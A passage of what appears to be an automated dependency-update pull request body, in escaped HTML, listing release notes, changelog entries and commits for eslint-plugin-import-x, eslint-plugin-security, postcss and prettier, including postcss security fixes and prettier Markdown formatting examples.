leak\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/un-ts/eslint-plugin-import-x/pull/484\"\u003e#484\u003c/a\u003e \u003ca href=\"https://github.com/un-ts/eslint-plugin-import-x/commit/9a070094ac6e3c5891762acebe882281b022501d\"\u003e\u003ccode\u003e9a07009\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/sairus2k\"\u003e\u003ccode\u003e@​sairus2k\u003c/code\u003e\u003c/a\u003e! - Make the \u003ccode\u003eextensions\u003c/code\u003e rule check Node.js subpath imports (specifiers starting with \u003ccode\u003e#\u003c/code\u003e, e.g. \u003ccode\u003e#utils/helper\u003c/code\u003e). Previously \u003ccode\u003eparsePath\u003c/code\u003e treated a leading \u003ccode\u003e#\u003c/code\u003e as a URL hash fragment, so the rule skipped extension validation for these imports.\u003c/p\u003e\n\u003cp\u003eNote: single-segment subpath imports without a slash (e.g. \u003ccode\u003e#dep\u003c/code\u003e) are still skipped by the existing external-root-module classification; fixing that is deferred to avoid expanding scope.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/un-ts/eslint-plugin-import-x/pull/468\"\u003e#468\u003c/a\u003e \u003ca href=\"https://github.com/un-ts/eslint-plugin-import-x/commit/240ed58cb3d699c5107af065d8482a5c902a2f95\"\u003e\u003ccode\u003e240ed58\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/silverwind\"\u003e\u003ccode\u003e@​silverwind\u003c/code\u003e\u003c/a\u003e! - Make \u003ccode\u003eextensions\u003c/code\u003e handle \u003ccode\u003e.d.ts\u003c/code\u003e correctly\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/un-ts/eslint-plugin-import-x/pull/479\"\u003e#479\u003c/a\u003e \u003ca href=\"https://github.com/un-ts/eslint-plugin-import-x/commit/e3cc7e458fe8440fdac291beba9f09ab216ec682\"\u003e\u003ccode\u003ee3cc7e4\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/mrginglymus\"\u003e\u003ccode\u003e@​mrginglymus\u003c/code\u003e\u003c/a\u003e! - fix: strip querystrings and hash fragments when checking for file existence\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/un-ts/eslint-plugin-import-x/pull/476\"\u003e#476\u003c/a\u003e \u003ca href=\"https://github.com/un-ts/eslint-plugin-import-x/commit/fce29b1bb7c1f57f18beb5f0ac5636b14ab848dc\"\u003e\u003ccode\u003efce29b1\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/nbouvrette\"\u003e\u003ccode\u003e@​nbouvrette\u003c/code\u003e\u003c/a\u003e! - fix(deps): replace \u003ccode\u003e@​package-json/types\u003c/code\u003e with an inline minimal type\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/un-ts/eslint-plugin-import-x/commit/b767b8c16cae017ac7b092a161684e31b262e5ae\"\u003e\u003ccode\u003eb767b8c\u003c/code\u003e\u003c/a\u003e chore: release eslint-plugin-import-x (\u003ca href=\"https://redirect.github.com/un-ts/eslint-plugin-import-x/issues/499\"\u003e#499\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/un-ts/eslint-plugin-import-x/commit/cf25a01c08d75449aeae6c6b4ee2e2c9af774462\"\u003e\u003ccode\u003ecf25a01\u003c/code\u003e\u003c/a\u003e fix(extensions): don't require extension for package subpaths resolving to .d...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/un-ts/eslint-plugin-import-x/commit/b543300ff8e9861fc2cc693bfd55cf3e18a2e01a\"\u003e\u003ccode\u003eb543300\u003c/code\u003e\u003c/a\u003e docs: document the \u003ccode\u003eesmodule\u003c/code\u003e option for \u003ccode\u003eno-dynamic-require\u003c/code\u003e rule (\u003ca href=\"https://redirect.github.com/un-ts/eslint-plugin-import-x/issues/496\"\u003e#496\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/un-ts/eslint-plugin-import-x/commit/7578513a194ce4c05cce6ac520efa00b7adc249f\"\u003e\u003ccode\u003e7578513\u003c/code\u003e\u003c/a\u003e chore: release eslint-plugin-import-x (\u003ca href=\"https://redirect.github.com/un-ts/eslint-plugin-import-x/issues/472\"\u003e#472\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/un-ts/eslint-plugin-import-x/commit/e3cc7e458fe8440fdac291beba9f09ab216ec682\"\u003e\u003ccode\u003ee3cc7e4\u003c/code\u003e\u003c/a\u003e fix: strip querystrings and hash fragments when checking for file existence (...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/un-ts/eslint-plugin-import-x/commit/9a070094ac6e3c5891762acebe882281b022501d\"\u003e\u003ccode\u003e9a07009\u003c/code\u003e\u003c/a\u003e fix: make \u003ccode\u003eextensions\u003c/code\u003e rule check Node.js subpath imports (\u003ca href=\"https://redirect.github.com/un-ts/eslint-plugin-import-x/issues/484\"\u003e#484\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/un-ts/eslint-plugin-import-x/commit/3e131214f1a027858ce87d146576b243f6acad0c\"\u003e\u003ccode\u003e3e13121\u003c/code\u003e\u003c/a\u003e fix: memoize legacyNodeResolve resolver to avoid native memory leak (\u003ca href=\"https://redirect.github.com/un-ts/eslint-plugin-import-x/issues/481\"\u003e#481\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/un-ts/eslint-plugin-import-x/commit/fce29b1bb7c1f57f18beb5f0ac5636b14ab848dc\"\u003e\u003ccode\u003efce29b1\u003c/code\u003e\u003c/a\u003e fix(deps): replace \u003ccode\u003e@​package-json/types\u003c/code\u003e with an inline minimal type (\u003ca href=\"https://redirect.github.com/un-ts/eslint-plugin-import-x/issues/476\"\u003e#476\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/un-ts/eslint-plugin-import-x/commit/1c84235057e693f107352b2874c5e9bc6d974e75\"\u003e\u003ccode\u003e1c84235\u003c/code\u003e\u003c/a\u003e fix: handle access errors during case checks (\u003ca href=\"https://redirect.github.com/un-ts/eslint-plugin-import-x/issues/494\"\u003e#494\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/un-ts/eslint-plugin-import-x/commit/96222bf429d083213eededbfea9a1eaade1c4ba5\"\u003e\u003ccode\u003e96222bf\u003c/code\u003e\u003c/a\u003e chore: drop unused \u003ccode\u003etmp\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/un-ts/eslint-plugin-import-x/issues/487\"\u003e#487\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/un-ts/eslint-plugin-import-x/compare/v4.16.2...v4.17.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `eslint-plugin-security` from 4.0.0 to 4.0.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/eslint-community/eslint-plugin-security/releases\"\u003eeslint-plugin-security's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eeslint-plugin-security: v4.0.1\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/eslint-community/eslint-plugin-security/compare/eslint-plugin-security-v4.0.0...eslint-plugin-security-v4.0.1\"\u003e4.0.1\u003c/a\u003e (2026-06-12)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003etreat import.meta.dirname and import.meta.filename as static (\u003ca href=\"https://redirect.github.com/eslint-community/eslint-plugin-security/issues/200\"\u003e#200\u003c/a\u003e) (\u003ca href=\"https://github.com/eslint-community/eslint-plugin-security/commit/74c97bb3326a6b4fe4718b2638bb3b0492cb90fd\"\u003e74c97bb\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/eslint-community/eslint-plugin-security/blob/main/CHANGELOG.md\"\u003eeslint-plugin-security's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/eslint-community/eslint-plugin-security/compare/eslint-plugin-security-v4.0.0...eslint-plugin-security-v4.0.1\"\u003e4.0.1\u003c/a\u003e (2026-06-12)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003etreat import.meta.dirname and import.meta.filename as static (\u003ca href=\"https://redirect.github.com/eslint-community/eslint-plugin-security/issues/200\"\u003e#200\u003c/a\u003e) (\u003ca href=\"https://github.com/eslint-community/eslint-plugin-security/commit/74c97bb3326a6b4fe4718b2638bb3b0492cb90fd\"\u003e74c97bb\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint-community/eslint-plugin-security/commit/cb8645c3150a52eb400ba08d83fb53528797b652\"\u003e\u003ccode\u003ecb8645c\u003c/code\u003e\u003c/a\u003e chore: release 4.0.1 🚀 (\u003ca href=\"https://redirect.github.com/eslint-community/eslint-plugin-security/issues/204\"\u003e#204\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint-community/eslint-plugin-security/commit/74c97bb3326a6b4fe4718b2638bb3b0492cb90fd\"\u003e\u003ccode\u003e74c97bb\u003c/code\u003e\u003c/a\u003e fix: treat import.meta.dirname and import.meta.filename as static (\u003ca href=\"https://redirect.github.com/eslint-community/eslint-plugin-security/issues/200\"\u003e#200\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint-community/eslint-plugin-security/commit/0b45f8277b8018377c3716358faafaa70b474c2c\"\u003e\u003ccode\u003e0b45f82\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump shell-quote from 1.7.4 to 1.8.4 (\u003ca href=\"https://redirect.github.com/eslint-community/eslint-plugin-security/issues/202\"\u003e#202\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint-community/eslint-plugin-security/commit/954149ae507c95a1f6d61c43bfd4601143083138\"\u003e\u003ccode\u003e954149a\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump handlebars from 4.7.7 to 4.7.9 (\u003ca href=\"https://redirect.github.com/eslint-community/eslint-plugin-security/issues/198\"\u003e#198\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint-community/eslint-plugin-security/commit/d5012b6b10419c9a3280d094ce10aa944a2b7812\"\u003e\u003ccode\u003ed5012b6\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump picomatch from 2.3.1 to 2.3.2 (\u003ca href=\"https://redirect.github.com/eslint-community/eslint-plugin-security/issues/197\"\u003e#197\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint-community/eslint-plugin-security/commit/b53d8b45ebe16c9ce778c25a8cf68a71749e0a78\"\u003e\u003ccode\u003eb53d8b4\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump flatted from 3.3.1 to 3.4.2 (\u003ca href=\"https://redirect.github.com/eslint-community/eslint-plugin-security/issues/196\"\u003e#196\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint-community/eslint-plugin-security/commit/7876750bfa33eb29285adb7b0af7e5c70838568e\"\u003e\u003ccode\u003e7876750\u003c/code\u003e\u003c/a\u003e chore(deps): bump minimatch (\u003ca href=\"https://redirect.github.com/eslint-community/eslint-plugin-security/issues/194\"\u003e#194\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/eslint-community/eslint-plugin-security/compare/eslint-plugin-security-v4.0.0...eslint-plugin-security-v4.0.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `postcss` from 8.5.15 to 8.5.19\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/releases\"\u003epostcss's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.19\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed cleaning \u003ccode\u003ebefore\u003c/code\u003e for new nodes inserted to \u003ccode\u003eRoot\u003c/code\u003e (by \u003ca href=\"https://github.com/MahinAnowar\"\u003e\u003ccode\u003e@​MahinAnowar\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.18\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eRestricted loading previous source maps file to the \u003ccode\u003eopts.from\u003c/code\u003e folder for security reasons (use \u003ccode\u003eunsafeMap: true\u003c/code\u003e to disable the check).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.17\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eMaximum call stack size exceeded\u003c/code\u003e error.\u003c/li\u003e\n\u003cli\u003eFixed Prototype hijacking for \u003ccode\u003epostcss.fromJSON()\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eInput#origin()\u003c/code\u003e for unmapped end position (by \u003ca href=\"https://github.com/chatman-media\"\u003e\u003ccode\u003e@​chatman-media\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.16\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eInput#origin()\u003c/code\u003e position (by \u003ca href=\"https://github.com/mizdra\"\u003e\u003ccode\u003e@​mizdra\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eraws\u003c/code\u003e after rehydrating a JSON AST (by \u003ca href=\"https://github.com/sarathfrancis90\"\u003e\u003ccode\u003e@​sarathfrancis90\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed putting parent-less node in \u003ccode\u003enodes\u003c/code\u003e of new node (by \u003ca href=\"https://github.com/MahinAnowar\"\u003e\u003ccode\u003e@​MahinAnowar\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed computing \u003ccode\u003eoffset\u003c/code\u003e in \u003ccode\u003epositionBy()\u003c/code\u003e (by \u003ca href=\"https://github.com/greymoth-jp\"\u003e\u003ccode\u003e@​greymoth-jp\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003erangeBy()\u003c/code\u003e on \u003ccode\u003eindex: 0\u003c/code\u003e (by \u003ca href=\"https://github.com/sarathfrancis90\"\u003e\u003ccode\u003e@​sarathfrancis90\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/blob/main/CHANGELOG.md\"\u003epostcss's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.19\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed cleaning \u003ccode\u003ebefore\u003c/code\u003e for new nodes inserted to \u003ccode\u003eRoot\u003c/code\u003e (by \u003ca href=\"https://github.com/MahinAnowar\"\u003e\u003ccode\u003e@​MahinAnowar\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.18\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eRestricted loading previous source maps file to the \u003ccode\u003eopts.from\u003c/code\u003e folder for security reasons (use \u003ccode\u003eunsafeMap: true\u003c/code\u003e to disable the check).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.17\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eMaximum call stack size exceeded\u003c/code\u003e error.\u003c/li\u003e\n\u003cli\u003eFixed Prototype hijacking for \u003ccode\u003epostcss.fromJSON()\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eInput#origin()\u003c/code\u003e for unmapped end position (by \u003ca href=\"https://github.com/chatman-media\"\u003e\u003ccode\u003e@​chatman-media\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.16\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eInput#origin()\u003c/code\u003e position (by \u003ca href=\"https://github.com/mizdra\"\u003e\u003ccode\u003e@​mizdra\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eraws\u003c/code\u003e after rehydrating a JSON AST (by \u003ca href=\"https://github.com/sarathfrancis90\"\u003e\u003ccode\u003e@​sarathfrancis90\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed putting parent-less node in \u003ccode\u003enodes\u003c/code\u003e of new node (by \u003ca href=\"https://github.com/MahinAnowar\"\u003e\u003ccode\u003e@​MahinAnowar\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed computing \u003ccode\u003eoffset\u003c/code\u003e in \u003ccode\u003epositionBy()\u003c/code\u003e (by \u003ca href=\"https://github.com/greymoth-jp\"\u003e\u003ccode\u003e@​greymoth-jp\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003erangeBy()\u003c/code\u003e on \u003ccode\u003eindex: 0\u003c/code\u003e (by \u003ca href=\"https://github.com/sarathfrancis90\"\u003e\u003ccode\u003e@​sarathfrancis90\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/9543b22769bef5bcd47600fbca752204c106cda8\"\u003e\u003ccode\u003e9543b22\u003c/code\u003e\u003c/a\u003e Release 8.5.19 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/3d13bf9360652922de0535f6257e1648187363f0\"\u003e\u003ccode\u003e3d13bf9\u003c/code\u003e\u003c/a\u003e Fix CI on Windows too\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/00d0dd2322162f6083d507ea6954685e1c92f165\"\u003e\u003ccode\u003e00d0dd2\u003c/code\u003e\u003c/a\u003e Keep explicitly set raws.before when inserting nodes into root (\u003ca href=\"https://redirect.github.com/postcss/postcss/issues/2111\"\u003e#2111\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/7a05b33e7a15d6f80d90098784170ad3dca39180\"\u003e\u003ccode\u003e7a05b33\u003c/code\u003e\u003c/a\u003e Temporary fix CI\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/4c0d194c136fd374495d0993c890d794cab65b81\"\u003e\u003ccode\u003e4c0d194\u003c/code\u003e\u003c/a\u003e Release 8.5.18 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/92b4e7891ec7b811821d01acc8aa0f010caf41e2\"\u003e\u003ccode\u003e92b4e78\u003c/code\u003e\u003c/a\u003e Update dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/95663d3eb7ba26f4854dd19d3b4f4425760cf56c\"\u003e\u003ccode\u003e95663d3\u003c/code\u003e\u003c/a\u003e Limit where source map can be loaded for security reasons\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/74e25ae9f4efaa56a41a449064a655d7da78072c\"\u003e\u003ccode\u003e74e25ae\u003c/code\u003e\u003c/a\u003e Release 8.5.17 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/d1518afd5a88f42728b30b87f8917210f363f9f1\"\u003e\u003ccode\u003ed1518af\u003c/code\u003e\u003c/a\u003e Fix Maximum call stack size exceeded error\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/2421312ffea96ba77b35ce24a1b2d9c2e22b5e83\"\u003e\u003ccode\u003e2421312\u003c/code\u003e\u003c/a\u003e Fix linter\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/postcss/postcss/compare/8.5.15...8.5.19\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for postcss since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `prettier` from 3.8.4 to 3.9.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/prettier/prettier/releases\"\u003eprettier's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.9.5\u003c/h2\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.9.5/CHANGELOG.md#395\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e3.9.4\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAngular: Format \u003ccode\u003e@content(name)\u003c/code\u003e -\u0026gt; \u003ccode\u003e@content (name)\u003c/code\u003e to align with other block syntax (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/19499\"\u003e#19499\u003c/a\u003e by \u003ca href=\"https://github.com/fisker\"\u003e\u003ccode\u003e@​fisker\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.9.4/CHANGELOG.md#394\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e3.9.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eMarkdown: Fix unexpected removal of characters in liquid syntax (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/19489\"\u003eprettier/prettier#19489\u003c/a\u003e by \u003ca href=\"https://github.com/seiyab\"\u003e\u003ccode\u003e@​seiyab\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eTypeScript: Allow decorators to be used with declare on class fields (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/19492\"\u003eprettier/prettier#19492\u003c/a\u003e by \u003ca href=\"https://github.com/evoactivity\"\u003e\u003ccode\u003e@​evoactivity\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.9.3/CHANGELOG.md#393\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e3.9.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eCLI: Fix ignored file has been cached incorrectly (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/19483\"\u003e#19483\u003c/a\u003e by \u003ca href=\"https://github.com/kovsu\"\u003e\u003ccode\u003e@​kovsu\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.9.1/CHANGELOG.md#391\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e3.9.0\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/prettier/prettier/compare/3.8.5...3.9.0\"\u003ediff\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://prettier.io/blog/2026/06/27/3.9.0\"\u003ePrettier 3.9: Major parser upgrades and Formatting improvements\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e3.8.5\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFix Flow variance annotation print (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/19022\"\u003e#19022\u003c/a\u003e by \u003ca href=\"https://github.com/marcoww6\"\u003e\u003ccode\u003e@​marcoww6\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.8.5/CHANGELOG.md#385\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/prettier/prettier/blob/main/CHANGELOG.md\"\u003eprettier's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.9.5\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/prettier/prettier/compare/3.9.4...3.9.5\"\u003ediff\u003c/a\u003e\u003c/p\u003e\n\u003ch4\u003eMarkdown: Cap ordered list mark at 999,999,999 (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/19351\"\u003e#19351\u003c/a\u003e by \u003ca href=\"https://github.com/tats-u\"\u003e\u003ccode\u003e@​tats-u\u003c/code\u003e\u003c/a\u003e)\u003c/h4\u003e\n\u003cp\u003eCommonMark parsers only support ordered list item numbers up to 999,999,999.\u003c/p\u003e\n\u003cp\u003eWith this change, Prettier now caps the ordered list item number at 999,999,999 to ensure that the output is correctly parsed as an ordered list by CommonMark parsers. Numbers larger than 999,999,999 are not parsed as list item numbers and are left unchanged in the output:\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003cpre lang=\"markdown\"\u003e\u003ccode\u003e\u0026lt;!-- Input --\u0026gt;\n999999998. text\n999999998. text\n999999998. text\n999999998. text\n\u003cp\u003e1234567890123456789012) text\u003c/p\u003e\n\u003cp\u003e\u0026lt;!-- Prettier 3.9.4 --\u0026gt;\n999999998. text\n999999999. text\n1000000000. text\n1000000001. text\u003c/p\u003e\n\u003cp\u003e1234567890123456789012) text\u003c/p\u003e\n\u003cp\u003e\u0026lt;!-- Prettier 3.9.5 --\u0026gt;\n999999998. text\n999999999. text\n999999999. text\n999999999. text\u003c/p\u003e\n\u003cp\u003e1234567890123456789012) text\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003ch4\u003eMarkdown: Avoid corrupting empty link with title (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/19487\"\u003e#19487\u003c/a\u003e by \u003ca href=\"https://github.com/andersk\"\u003e\u003ccode\u003e@​andersk\u003c/code\u003e\u003c/a\u003e)\u003c/h4\u003e\n\u003cp\u003eDo not remove \u003ccode\u003e\u0026lt;\u0026gt;\u003c/code\u003e from an inline link or image with an empty URL and a title, as this removal would change its interpretation.\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003cpre lang=\"md\"\u003e\u003ccode\u003e\u0026lt;!-- Input --\u0026gt;\n[link](https://github.com/prettier/prettier/blob/main/\u0026lt;\u0026gt; \u0026quot;title\u0026quot;)\n\u003cp\u003e\u0026lt;!-- Prettier 3.9.4 --\u0026gt;\n[link](\u003ca href=\"https://github.com/prettier/prettier/blob/main/\"\u003ehttps://github.com/prettier/prettier/blob/main/\u003c/a\u003e \u0026quot;title\u0026quot;)\u003c/p\u003e\n\u003cp\u003e\u0026lt;!-- Prettier 3.9.5 --\u0026gt;\n\u0026lt;/tr\u0026gt;\u0026lt;/table\u0026gt;\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca 